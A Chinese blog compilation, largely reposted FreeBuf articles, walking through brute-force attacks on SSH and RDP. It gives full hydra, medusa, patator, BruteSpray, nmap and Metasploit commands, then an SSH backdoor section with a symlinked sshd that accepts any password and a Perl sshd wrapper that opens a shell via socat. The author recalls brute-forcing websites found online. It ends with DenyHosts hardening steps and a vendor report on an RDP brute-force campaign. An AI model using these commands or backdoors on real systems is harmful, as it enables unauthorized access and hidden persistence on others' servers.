暴力破解攻击工具汇总——字典很关键,肉鸡也关键

lasercrack是一款爆力破解工具,ruby写的,现如今市面上常见的暴力工具如hydra,medusa都有着不错的破解效率

破解RDP的软件也有很多,比如ncrack和Fast RDP Brute。

如果网页没有设置登录验证码,则很可能成为暴力破解工具攻击的目标,http://www.freebuf.com/column/169124.html,Nodejs暴力破解实践

web 登录用户密码爆破:Burpsuite

在GitHub工程师Shawn Davenport的博文中,他提到来自四万个IP地址的暴力破解攻击攻破了一些常用的密码。这些主机被用来破解弱密码。。。。

看我如何使用Hashcat暴力破解Linux磁盘加密,http://www.freebuf.com/articles/database/163354.html

利用hydra/Medusa/patator/BrutesPray/Msf暴力破解ssh的方法内容已经占了很大比例。

说明,MSF是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。

那时候在网络上下载了几M字典不算太大,然后天天对着电脑,找网站来做爆破,说句实话成功了还算挺多。。。

WordPress 安服公司 Wordfence 表示,每小时平均有 190000 个 WordPress 站点遭受暴力攻击,最高峰时每小时攻击达到 1400 万次。研究人员称,此前暗网上泄露的 14 亿明文账号密码可能加速了此次攻击。攻击者的主要目的是在这些网站中植入门罗币挖矿程序,目前为止,攻击者已经赚取价值至少 10 万美元的门罗币。from:http://www.freebuf.com/news/157948.html

 RDP暴力破解

爆破过程:

其中命令:hydra 192.168.1.12 rdp -L users.txt -P pass.txt -V 

192.168.12是目标服务器的IP地址

rdp 是协议

-L 指定一个帐号字典

-P 指定一个密码字典

-V 现实爆破测试的详细过程

 

爆破成功,成功破解出帐号为test,密码为qwer123456  开始测试登录服务器

 

 

登录成功,做个小小的笔记 记性不好,还有很多功能,有时间在慢慢研究吧。。。

 

Linux SSH密码暴力破解技术及攻防实战

from:http://www.freebuf.com/sectool/159488.html

对于Linux操作系统来说,一般通过VNC、Teamviewer和SSH等工具来进行远程管理,SSH是 Secure Shell的缩写,由IETF的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。

利用SSH协议可以有效防止远程管理过程中的信息泄露问题。SSH客户端适用于多种平台,几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台都可运行SSH。Kali Linux渗透测试平台默认配置SSH服务。SSH进行服务器远程管理,仅仅需要知道服务器的IP地址、端口、管理账号和密码,即可进行服务器的管理,网络安全遵循木桶原理,只要通过SSH撕开一个口子,对渗透人员来时这将是一个新的世界。

本文对目前流行的ssh密码暴力破解工具进行实战研究、分析和总结,对渗透攻击测试和安全防御具有一定的参考价值。

一、SSH密码暴力破解应用场景和思路  

1.应用场景

(1)通过Structs等远程命令执行获取了root权限。

(2)通过webshell提权获取了root权限

(3)通过本地文件包含漏洞,可以读取linux本地所有文件。

(4)获取了网络入口权限,可以对内网计算机进行访问。

(5)外网开启了SSH端口(默认或者修改了端口),可以进行SSH访问。

在前面的这些场景中,可以获取shadow文件,对其进行暴力破解,以获取这些账号的密码,但在另外的一些场景中,无任何漏洞可用,这个时候就需要对SSH账号进行暴力破解。

2.思路

(1)对root账号进行暴力破解

(2)使用中国姓名top1000作为用户名进行暴力破解

(3)使用top 10000 password字典进行密码破解

(4)利用掌握信息进行社工信息整理并生成字典暴力破解

(5)信息的综合利用以及循环利用

二、使用hydra暴力破解SSH密码

hydra是世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大。在网络安全渗透过程中是一款必备的测试工具,配合社工库进行社会工程学攻击,有时会获得意想不到的效果。

1.简介

hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码,目前已经被Backtrack和kali等渗透平台收录,除了命令行下的hydra外,还提供了hydragtk版本(有图形界面的hydra),官网网站:http://www.thc.org/thc-hydra,目前最新版本为7.6下载地址:http://www.thc.org/releases/hydra-7.6.tar.gz,它可支持AFP,Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, uHTTP-FORM-GET,HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP,NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES,RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH(v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。

2.安装

(1)Debian和Ubuntu安装

如果是Debian和Ubuntu发行版,源里自带hydra,直接用apt-get在线安装:

sudo apt-get install libssl-dev libssh-devlibidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-devfirebird2.1-dev libncp-dev hydra

Redhat/Fedora发行版的下载源码包编译安装,先安装相关依赖包:

yum install openssl-devel pcre-develncpfs-devel postgresql-devel libssh-devel subversion-devel

(2)centos安装

# tar zxvf hydra-7.6-src.tar.gz

# cd hydra-6.0-src

# ./configure

# make

# make install

3.使用hydra

BT5和kali都默认安装了hydra,在kali中单击“kali Linux”-“Password Attacks”-“Online Attacks”-“hydra”即可打开hydra。在centos终端中输入命令/usr/local/bin/hydra即可打开该暴力破解工具,除此之外还可以通过hydra-wizard.sh命令进行向导式设置进行密码破解,如图1所示。

 

1.jpg

图1使用hydra-wizard.sh进行密码破解

如果不安装libssh,运行hydra破解账号时会出现错误,如图2所示,显示错误提示信息:[ERROR]Compiled without LIBSSH v0.4.x support, module is not available! 在centos下依次运行以下命令即可解决:

yum install cmake

wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz    

tar zxf libssh-0.4.8.tar.gz

cd libssh-0.4.8

mkdir build

cd build

cmake -DCMAKE_INSTALL_PREFIX=/usr-DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..    

make    

make install

cd /test/ssh/hydra-7.6  (此为下载hydar解压的目录)

make clean

./configure

make

make install

 

2.jpg

图2 出现libssh模块缺少错误

4、hydra参数详细说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-PFILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-wTIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46][service://server[:PORT][/OPT]]

-l LOGIN 指定破解的用户名称,对特定用户破解。

-L FILE 从文件中加载用户名进行破解。

-p PASS小写p指定密码破解,少用,一般是采用密码字典。

-P FILE 大写字母P,指定密码字典。

-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。

-t TASKS 同时运行的连接的线程数,每一台主机默认为16。

-M FILE 指定服务器目标列表文件一行一条

-w TIME 设置最大超时的时间,单位秒,默认是30s。

-o FILE 指定结果输出文件。

-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

-v / -V 显示详细过程。

-R 继续从上一次进度接着破解。

-S 采用SSL链接。

-s PORT 可通过这个参数指定非默认端口。

-U      服务模块使用细节

-h      更多的命令行选项(完整的帮助)

server   目标服务器名称或者IP(使用这个或-M选项)

service  指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysqloracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icqsapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

OPT      一些服务模块支持额外的输入(-U用于模块的帮助)

4.破解SSH账号

破解SSH账号有两种方式,一种是指定账号破解,一种是指定用户列表破解。详细命令如下:

(1)hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh

例如输入命令“hydra -l root  -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh”对IP地址为“192.168.44.139”的root账号密码进行破解,如图3所示,破解成功后显示其详细信息。

“hydra -l root  -P pwd2.dic -t 1 -vV -e ns  -o save.log  192.168.44.139  ssh ”将扫描结果保存在save.log文件中,打开该文件可以看到成功破解的结果,如图4所示。

3.jpg 

图3破解SSH账号

 

4.jpg

图4查看破解日志

三、使用Medusa暴力破解SSH密码

1. Medusa简介

Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa和hydra一样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于hydra 要好很多,但其支持模块要比 hydra 少一些。 Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),

NNTP,PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT,SMTP

(AUTH/VRFY),SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破工具,官方网站:http://foofus.net/goons/jmk/medusa/medusa.html。目前最新版本2.2,美中不足的是软件从2015年后未进行更新,kali默认自带该软件,软件下载地址:

https://github.com/jmk-foofus/medusa

https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz

2.安装medusa

(1)git克隆安装

git clonehttps://github.com/jmk-foofus/medusa.git

(2)手动编译和安装medusa

./configure

make

make install

安装完成后,会将medusa的一些modules 文件复制到/usr/local/lib/medusa/modules文件夹。

3.Medusa参数

Medusa [-hhost|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module[OPT]

-h [TEXT]      目标主机名称或者IP地址

-H [FILE]      包含目标主机名称或者IP地址文件

-u [TEXT]      测试的用户名

-U [FILE]      包含测试的用户名文件

-p [TEXT]      测试的密码

-P [FILE]      包含测试的密码文件

-C [FILE]      组合条目文件

-O [FILE]      日志信息文件

-e [n/s/ns]    n代表空密码,s代表为密码与用户名相同

-M [TEXT]      模块执行名称

-m [TEXT]      传递参数到模块

-d             显示所有的模块名称

-n [NUM]       使用非默认Tcp端口

-s             启用SSL

-r [NUM]       重试间隔时间,默认为3秒

-t [NUM]       设定线程数量

-T    同时测试的主机总数

-L             并行化,每个用户使用一个线程

-f             在任何主机上找到第一个账号/密码后,停止破解

-F            在任何主机上找到第一个有效的用户名/密码后停止审计。

-q             显示模块的使用信息

-v [NUM]       详细级别(0-6)

-w [NUM]       错误调试级别(0-10)

-V             显示版本

-Z [TEXT]      继续扫描上一次

4.破解单一服务器SSH密码

(1)通过文件来指定host和user,host.txt为目标主机名称或者IP地址,user.txt指定需要暴力破解的用户名,密码指定为password

./medusa -M ssh -H host.txt -U users.txt -p password

 

(2)对单一服务器进行密码字典暴力破解

  如图5所示,破解成功后会显示success字样,具体命令如下:

medusa -M ssh -h 192.168.157.131 -u root -Pnewpass.txt

 

5.png

图5破解SSH口令成功

如果使用Cltrl+Z结束了破解过程,则还可以根据屏幕提示,在后面继续恢复破解,在上例中恢复破解,只需要在命令末尾增加“-Z h1u1.”即可。也即其命令为:

medusa -M ssh -h192.168.157.131 -u root -P newpass.txt -Z h1u1.

5.破解某个IP地址主机破解成功后立刻停止,并测试空密码以及与用户名一样的密码

medusa -M ssh -h 192.168.157.131 -u root-P /root/newpass.txt -e ns -F

执行效果如图6所示,通过命令查看字典文件newpass.txt,可以看到root密码位于第8行,而在破解结果中显示第一行就破解成功了,说明先执行了“-e ns”参数命令,对空密码和使用用户名作为密码来进行破解。

 

6.png

图6使用空密码和用户名作为密码进行破解

技巧:加-O  ssh.log 可以将成功破解的记录记录到ssh.log文件中。

四、使用patator暴力破解SSH密码

1.下载并安装patator

git clone https://github.com/lanjelot/patator.git

cd patator

python setup.py install

2.使用参数

执行./patator.py即可获取详细的帮助信息

Patator v0.7(https://github.com/lanjelot/patator)

Usage: patator.py module –help

可用模块:

  + ftp_login     : 暴力破解FTP

  +ssh_login     : 暴力破解 SSH

  +telnet_login  : 暴力破解 Telnet

  +smtp_login    : 暴力破解 SMTP

  +smtp_vrfy     : 使用SMTP VRFY进行枚举

  +smtp_rcpt     : 使用 SMTP RCPTTO枚举合法用户

  +finger_lookup : 使用Finger枚举合法用户

  +http_fuzz     : 暴力破解 HTTP

  +ajp_fuzz      : 暴力破解 AJP

  +pop_login     : 暴力破解 POP3

  +pop_passd     : 暴力破解 poppassd(http://netwinsite.com/poppassd/)

  +imap_login    : 暴力破解 IMAP4

  +ldap_login    : 暴力破解 LDAP

  +smb_login     : 暴力破解 SMB

  +smb_lookupsid : 暴力破解 SMB SID-lookup

  +rlogin_login  : 暴力破解 rlogin

  +vmauthd_login : 暴力破解 VMware Authentication Daemon

  +mssql_login   : 暴力破解 MSSQL

  +oracle_login  : 暴力破解 Oracle

  +mysql_login   : 暴力破解 MySQL

  +mysql_query   : 暴力破解 MySQLqueries

  +rdp_login     : 暴力破解 RDP(NLA)

  +pgsql_login   : 暴力破解PostgreSQL

  +vnc_login     : 暴力破解 VNC

  +dns_forward   : 正向DNS 查询

  +dns_reverse   : 反向 DNS 查询

  +snmp_login    : 暴力破解 SNMPv1/2/3

  +ike_enum      : 枚举 IKE 传输

  +unzip_pass    : 暴力破解 ZIP加密文件

  +keystore_pass : 暴力破解Java keystore files的密码

  +sqlcipher_pass : 暴力破解加密数据库SQL Cipher的密码-

  +umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes

  +tcp_fuzz      : Fuzz TCP services

  +dummy_test    : 测试模块

3.实战破解

(1)查看详细帮助信息

执行“./patator.pyssh_login –help“命令后即可获取其参数的详细使用信息,如图7所示,在ssh暴力破解模块ssh_login中需要设置host,port,user,password等参数。

 

8.png

图7查看帮助信息

(2)执行单一用户密码破解

对主机192.168.157.131,用户root,密码文件为/root/newpass.txt进行破解,如图8所示,破解成功后会显示SSH登录标识“SSH-2.0-OpenSSH_7.5p1Debian-10“,破解不成功会显示” Authentication failed. “提示信息,其破解时间为2秒,速度很快!

./patator.py ssh_login host=192.168.157.131user=root password=FILE0 0=/root/newpass.txt

8.png

图8破解单一用户密码

(3)破解多个用户。用户文件为/root/user.txt,密码文件为/root/newpass.txt,破解效果如图9所示。

./patator.py ssh_login host=192.168.157.131user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt

 

9.png

图9使用patator破解多用户的密码

五、使用BrutesPray暴力破解SSH密码

BruteSpray是一款基于nmap扫描输出的gnmap/XML文件,自动调用Medusa对服务进行爆破(Medusa美杜莎是一款端口爆破工具,在前面的文章中对其进行了介绍),声称速度比hydra快,其官方项目地址:https://github.com/x90skysn3k/brutespray。BruteSpray调用medusa,其说明中声称支持ssh、ftp、telnet、vnc、mssql、mysql、postgresql、rsh、imap、nntp、pcanywhere、pop3、rexec、rlogin、smbnt、smtp、svn和vmauthd协议账号暴力破解。

1.安装及下载

(1)普通下载地址

https://codeload.github.com/x90skysn3k/brutespray/zip/master

(2)kali下安装

   BruteSpray默认没有集成到kali Linux中,需要手动安装,有的需要先在kali中执行更新,apt-get update 后才能执行安装命令:

apt-getinstall brutespray

kali Linux默认安装其用户和密码字典文件位置:/usr/share/brutespray/wordlist。

(3)手动安装

git clonehttps://github.com/x90skysn3k/brutespray.git

cdbrutespray

pipinstall -r requirements.txt

注意如果在其它环境安装需要安装medusa,否则会执行报错。

2.BrutesPray使用参数

用法: brutespray.py [-h] -f FILE [-o OUTPUT] [-sSERVICE] [-t THREADS] [-T HOSTS] [-U USERLIST] [-P PASSLIST] [-u USERNAME] [-pPASSWORD] [-c] [-i]

用法: python brutespray.py <选项>

选项参数:

  -h, –help  显示帮助信息并退出

菜单选项:

  -f FILE, –file FILE  参数后跟一个文件名, 解析nmap输出的GNMAP或者XML文件

  -o OUTPUT, –output OUTPUT   包含成功尝试的目录

  -s SERVICE, –service SERVICE  参数后跟一个服务名, 指定要攻击的服务                      

  -t THREADS, –threads THREADS  参数后跟一数值,指定medusa线程数                       

  -T HOSTS, –hosts HOSTS  参数后跟一数值,指定同时测试的主机数                     

  -U USERLIST, –userlist USERLIST 参数后跟用户字典文件

  -P PASSLIST, –passlist PASSLIST 参数后跟密码字典文件

  -u USERNAME, –username USERNAME 参数后跟用户名,指定一个用户名进行爆破

  -p PASSWORD, –password PASSWORD 参数后跟密码,指定一个密码进行爆破                     

  -c, –continuous      成功之后继续爆破

  -i, –interactive     交互模式

3.使用nmap进行端口扫描

(1)扫描整个内网C段

nmap -v192.168.17.0/24 -oX nmap.xml

(2)扫描开放22端口的主机

nmap -A-p 22 -v 192.168.17.0/24 -oX 22.xml

(3)扫描存活主机

nmap –sP 192.168.17.0/24-oX nmaplive.xml

(4)扫描应用程序以及版本号

nmap  -sV –O 192.168.17.0/24 -oX nmap.xml

4.暴力破解SSH密码

(1)交互模式破解

python brutespray.py --file nmap.xml –i

执行后,程序会自动识别nmap扫描结果中的服务,根据提示选择需要破解的服务,线程数、同时暴力破解的主机数,指定用户和密码文件,如图 10所示。Brutespray破解成功后在屏幕上会显示“SUCCESS ”信息。

 

10.png

图10交互模式破解密码

(2)通过指定字典文件爆破SSH

pythonbrutespray.py --file 22.xml -U /usr/share/brutespray/wordlist/ssh/user -P/usr/share/brutespray/wordlist/ssh/password --threads 5 --hosts 5

 注意:

brutespray新版本的wordlist地址为/usr/share/brutespray/wordlist,其下包含了多个协议的用户名和密码,可以到该目录完善这些用户文件和密码文件。22.xml为nmap扫描22端口生成的文件。

(3)暴力破解指定的服务

pythonbrutespray.py --file nmap.xml --service ftp,ssh,telnet --threads 5 --hosts 5

(4)指定用户名和密码进行暴力破解

当在内网已经获取了一个密码后,可以用来验证nmap扫描中的开放22端口的服务器,如图11所示,对192.168.17.144和192.168.17.147进行root密码暴力破解,192.168.17.144密码成功破解。

pythonbrutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5

./brutespray.py -f 22.xml -u root -p toor--threads 5 --hosts 5

 

11.png

图11 对已知口令进行密码破解

(5)破解成功后继续暴力破解

python brutespray.py --file nmap.xml--threads 5 --hosts 5 –c

  前面的命令是默认破解成功一个帐号后,就不再继续暴力破解了,此命令是对所有账号进行暴力破解,其时间稍长。

(6)使用Nmap扫描生成的nmap.xml进行暴力破解

pythonbrutespray.py --file nmap.xml --threads 5 --hosts 5

5.查看破解结果

Brutespray这一点做的非常好,默认会在程序目录/brutespray-output/目录下生成ssh-success.txt文件,使用cat ssh-success.txt命令即可查看破解成功的结果,如图12所示。

12.jpg

图12查看破解成功的记录文件

也可以通过命令搜索ssh-success 文件的具体位置:find / -name ssh-success.txt

6.登录破解服务器

使用ssh user@host命令登录host服务器。例如登录192.168.17.144:

ssh root@192.168.17.144 

输入密码即可正常登录服务器192.168.17.144。

六、Msf下利用ssh_login模块进行暴力破解

1.msf下有关SSH相关模块

在kali中执行“msfconsole”-“search ssh”后会获取相关所有ssh模块,如图13所示。

13.jpg

图13 msf下所有SSH漏洞以及相关利用模块

2.SSH相关功能模块分析

(1)SSH用户枚举

此模块使用基于时间的攻击枚举用户OpenSSH服务器。在一些OpenSSH的一些版本

配置,OpenSSH会返回一个“没有权限”无效用户的错误比有效用户快。使用命令如下:

use auxiliary/scanner/ssh/ssh_enumusers

set rhost 191.168.17.147

set USER_FILE  /root/user

run

使用info命令可以查看该模块的所有信息,执行效果如图14所示,实测该功能有一些限制,仅仅对OpenSSH某些版本效果比较好。

 

14.png

图14 openssh用户枚举

(2)SSH版本扫描

查看远程主机的SSH服务器版本信息,命令如下:

use auxiliary/scanner/ssh/ssh_version

set rhosts 192.168.157.147

run

执行效果如图15所示,分别对centos服务器地址192.168.157.147和kali linux 地址192.168.157.144进行扫描,可以看出一个是SSH-2.0-OpenSSH_5.8p1Debian-1ubuntu3,另外一个是SSH-2.0-OpenSSH_7.5p1 Debian-10,看到第一个版本,第一时间就可以想到如果拿到权限可以安装ssh后门。

 

15.png

图15扫描ssh版本信息

(3)SSH暴力破解

ssh暴力破解模块“auxiliary/scanner/ssh/ssh_login”可以对单机进行单用户,单密码进行扫描破解,也可以使用密码字典和用户字典进行破解,按照提示进行设置即可。下面使用用户名字典以及密码字典进行暴力破解:

use auxiliary/scanner/ssh/ssh_login

setrhosts 192.168.17.147

setPASS_FILE /root/pass.txt

setUSER_FILE /root/user.txt

run

如图16所示,对IP地址192.168.17.147进行暴力破解,成功获取root账号密码,网上有人写文章说可以直接获取shell,实际测试并否如此,通过sessions -l可以看到msf确实建立会话,但切换(sessions -i 1)到会话一直没有反应。  

16.png

图16使用msf暴力破解ssh密码

七、ssh后门

1. 软连接后门

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su-oPort=33223;

经典后门使用ssh root@x.x.x.x -p 33223直接对sshd建立软连接,之后用任意密码登录即可。

但这隐蔽性很弱,一般的rookit hunter这类的防护脚本可扫描到。

2.SSH Server wrapper后门

(1)复制sshd到bin目录

cd /usr/sbin

mv sshd ../bin

(2)编辑sshd

vi sshd //加入以下内容并保存

#!/usr/bin/perl

exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);

exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

(4)修改权限

chmod 755 sshd

(5)使用socat

socat STDIOTCP4:target_ip:22,sourceport=19526

如果没有安装socat需要进行安装并编译

wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz

tar -zxvf socat-1.7.3.2.tar.gz

cd socat-1.7.3.2

./configure

make

make install

(6)使用ssh root@ target_ip即可免密码登录

3.ssh公钥免密

将本地计算机生成公私钥,将公钥文件复制到需要连接的服务器上的~/.ssh/authorized_keys文件,并设置相应的权限,即可免密码登录服务器。

chmod 600 ~/.ssh/authorized_keys

chmod 700 ~/.ssh

八、ssh暴力破解命令总结及分析

1.所有工具的比较

通过对hydra、medusa、patator、brutepray以及msf下的ssh暴力破解测试,总结如下:

(1)每款软件都能成功对ssh账号以及密码进行破解。

(2)patator和brutepray是通过python语言编写,但brutepray需要medusa配合支持。

(3)hydra和medusa是基于C语言编写的,需要进行编译。

(4)brutepray基于nmap扫描结果来进行暴力破解,在对内网扫描后进行暴力破解效果好。

(5)patator基于python,速度快,兼容性好,可以在windows或者linux下稍作配置即可使用。

(6)如果具备kali条件或者PentestBox下,使用msf进行ssh暴力破解也不错。

(7)brutepray会自动生成破解成功日志文件/brutespray-output/ssh-success.txt;hydra加参数“-o save.log”记录破解成功到日志文件save.log,medusa加“-O ssh.log”参数可以将成功破解的记录记录到ssh.log文件中;patator可以加参数“-x ignore:mesg=’Authentication failed.’”来忽略破解失败的尝试,而仅仅显示成功的破解。

2.命令总结

(1)hydra破解ssh密码

hydra -lroot  -P pwd2.dic -t 1 -vV -e ns 192.168.44.139ssh

hydra -lroot  -P pwd2.dic -t 1 -vV -e ns  -o save.log  192.168.44.139  ssh

(2)medusa破解ssh密码

medusa -M ssh -h 192.168.157.131 -u root -Pnewpass.txt

medusa -M ssh -h192.168.157.131 -u root -P /root/newpass.txt -e ns –F

(3)patator破解ssh密码

./patator.py ssh_login host=192.168.157.131user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'

./patator.py ssh_login host=192.168.157.131user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'

如果不是本地安装,则使用patator执行即可。

(4)brutespray暴力破解ssh密码

nmap -A-p 22 -v 192.168.17.0/24 -oX 22.xml

pythonbrutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5

(5)msf暴力破解ssh密码

use auxiliary/scanner/ssh/ssh_login

set rhosts192.168.17.147

setPASS_FILE /root/pass.txt

setUSER_FILE /root/user.txt

run

九、 SSH暴力破解安全防范

1.修改/etc/ssh/sshd_config默认端口为其它端口。例如设置端口为2232,则port=2232

2.在/etc/hosts.allow中设置允许的IP访问,例如sshd:192.168.17.144:allow

3.使用DenyHosts软件来设置,其下载地址:

https://sourceforge.net/projects/denyhosts/files/denyhosts/2.6/DenyHosts-2.6.tar.gz/download

(1)安装cdDenyHosts

# tar-zxvf DenyHosts-2.6.tar.gz

# cdDenyHosts-2.6

# pythonsetup.py install

默认是安装到/usr/share/denyhosts目录的。

(2)配置cdDenyHosts

# cd/usr/share/denyhosts/

# cpdenyhosts.cfg-dist denyhosts.cfg

# videnyhosts.cfg

PURGE_DENY= 50m #过多久后清除已阻止IP

HOSTS_DENY= /etc/hosts.deny #将阻止IP写入到hosts.deny

BLOCK_SERVICE= sshd #阻止服务名

DENY_THRESHOLD_INVALID= 1 #允许无效用户登录失败的次数

DENY_THRESHOLD_VALID= 10 #允许普通用户登录失败的次数

DENY_THRESHOLD_ROOT= 5 #允许root登录失败的次数

WORK_DIR= /usr/local/share/denyhosts/data #将deny的host或ip纪录到Work_dir中

DENY_THRESHOLD_RESTRICTED= 1 #设定 deny host 写入到该资料夹

LOCK_FILE= /var/lock/subsys/denyhosts #将DenyHOts启动的pid纪录到LOCK_FILE中,已确保服务正确启动,防止同时启动多个服务。

HOSTNAME_LOOKUP=NO#是否做域名反解

ADMIN_EMAIL= #设置管理员邮件地址

DAEMON_LOG= /var/log/denyhosts #自己的日志文件

DAEMON_PURGE= 10m #该项与PURGE_DENY 设置成一样,也是清除hosts.deniedssh 用户的时间。

(3)设置启动脚本

# cpdaemon-control-dist daemon-control

# chownroot daemon-control

# chmod700 daemon-control

完了之后执行daemon-contronstart就可以了。

#./daemon-control start

如果要使DenyHosts每次重起后自动启动还需做如下设置:

# ln -s/usr/share/denyhosts/daemon-control /etc/init.d/denyhosts

#chkconfig --add denyhosts

#chkconfig denyhosts on

#service denyhosts start

可以看看/etc/hosts.deny内是否有禁止的IP,有的话说明已经成功了。

以上内容来之本次专题研究内容之一,只有踏踏实实的做技术研究,才发现研究越多,知识面扩展越多。

 

 

真实案例!RDP协议暴力破解卷土重来!

from:http://www.freebuf.com/column/138072.html
RDP攻击就是利用RDP协议登录到远程机器上,把该远程机器作为“肉鸡”,在上面种植木马、偷窃信息、发起DDOS攻击等行为。要实现将远程机器作为RDP肉鸡,必须知道远程机器的登录密码。所以常规方式是利用RDP协议来暴力破解远程机器的密码。

背景

RDP(Remote Desktop Protocol)称为“远程桌面登录协议”,即当某台计算机开启了远程桌面连接功能后(在windows系统中这个功能是默认打开的),别人就可以在网络的另一端控制这台机器了。通过远程桌面功能,其他人可以实时地操作这台计算机,在上面安装软件,运行程序,所有的一切都好像是直接在该计算机上操作一样。RDP攻击就是利用RDP协议登录到远程机器上,把该远程机器作为“肉鸡”,在上面种植木马、偷窃信息、发起DDOS攻击等行为。要实现将远程机器作为RDP肉鸡,必须知道远程机器的登录密码。所以常规方式是利用RDP协议来暴力破解远程机器的密码。究其危害,我们以最近卡巴斯基实验室报告的“地下市场兜售RDP肉鸡”的事件为例,在该事件中有70,620台使用远程桌面协议(RDP)的服务器在地下市场上被公然兜售,涉及173个国家,仅中国就有5,000多台,占该事件中的第二位。尽管类似事件并不少见,然而波及面之广却依然令人震撼,因而此种事件也被整个业界关注。该事件一经爆发,即有用户利用瀚思系统发现了端倪,本案例中涉及到国内某信息中心和某公安系统的网络。

利用瀚思系统发现“利用RDP协议暴力破解某信息中心的主机”

瀚思系统采集客户网络环境中的安全设备日志,在本案例中瀚思系统采集某信息中心的防火墙日志、IPS日志和主机日志。瀚思系统对采集到的日志进行关联分析,利用瀚思的可视化云图很容易地发现互联网主机对信息中心主机的大量远程桌面连接请求。 文档图4.png-401.2kB

瀚思系统的攻击热力图显示了攻击者的位置分布 文档图5.png-348.2kB

RDP暴力破解攻击的时间和空间分布图

利用瀚思系统的智能化分析,我们发现从6月15日至6月26日的短短12天内,有1045个互联网主机在对信息中心的主机进行RDP暴力破解攻击,总共破解次数达到99万多次。 文档图6.jpeg-24.5kB

对攻击者IP的地理位置进行统计,其中国内IP是576个,占比55%;境外IP是469个,占比45%。对攻击次数进行统计,国内IP产生的攻击数占比86%,国外IP产生的攻击数占比14%。文档图7.jpeg-17.3kB

其中来自境外的攻击次数按国家分布图显示来源于韩国和美国的攻击最多。

文档图8-25.3kB同样对于某公安系统的“RDP协议暴力破解”案例进行分析,数据显示在5月17日至6月16日这段时间内,共遭受48,484次攻击,涉及211个IP。来源于境外IP中攻击次数最多的国家也是韩国和美国。

瀚思的威胁情报在发现攻击的作用

瀚思的威胁情报在RDP暴力破解攻击案例中发现许多外部攻击IP在黑名单中。威胁情报对于攻击某公安系统和某信息中心的攻击者IP的检测率达到了74%。 文档图9.jpeg-20.7kB

暴力密码破解时使用的用户名统计对防火墙日志、IPS日志与主机日志进行时间性关联分析,发现RDP暴力破解时共尝试了1,062个用户名,下表列出了其中的一部分11.jpeg-80.4kB

  1. Administrator/admin这两个账号占了72%图片9.jpeg-20.7kB
  2. 包括了一些通用用户名,比如guest,owner,test,user等
  3. 包括了许多国外常用的用户名,比如rob,dennis,bill,michelle等
  4. 包括了一些繁体中文名,比如經紀,管理員,行政官員等。

防御措施

此次事件范围之广,数量之多,已经引起了各方广泛的重视,那么利用RDP协议暴力破解远程机器的防御措施有哪些?瀚思安全人员给出了如下建议:

  1. 在主机上停止不必要的“允许运程桌面连接”功能。
  2. 在防火墙上配置策略“阻止所有从外网连接内网的远程桌面协议端口(端口号3389)的请求”,对确有需要的RDP连接配置白名单。
  3. 对已经遭受攻击的机器修改密码,尤其是administrator/admin密码。

瀚思在此次事件中能够第一时间利用“安全易”SaaS产品和HanSight Enterprise帮助我们的用户发现问题,并及时有效的抵挡来防御事件的发酵。我们也将此次发现的攻击者IP加入瀚思的威胁情报库中,持续帮助更多的用户来阻止此类事件的发生。

 

SSH暴力破解经久不衰

from:http://www.freebuf.com/articles/system/11424.html 2013-07-25 
 

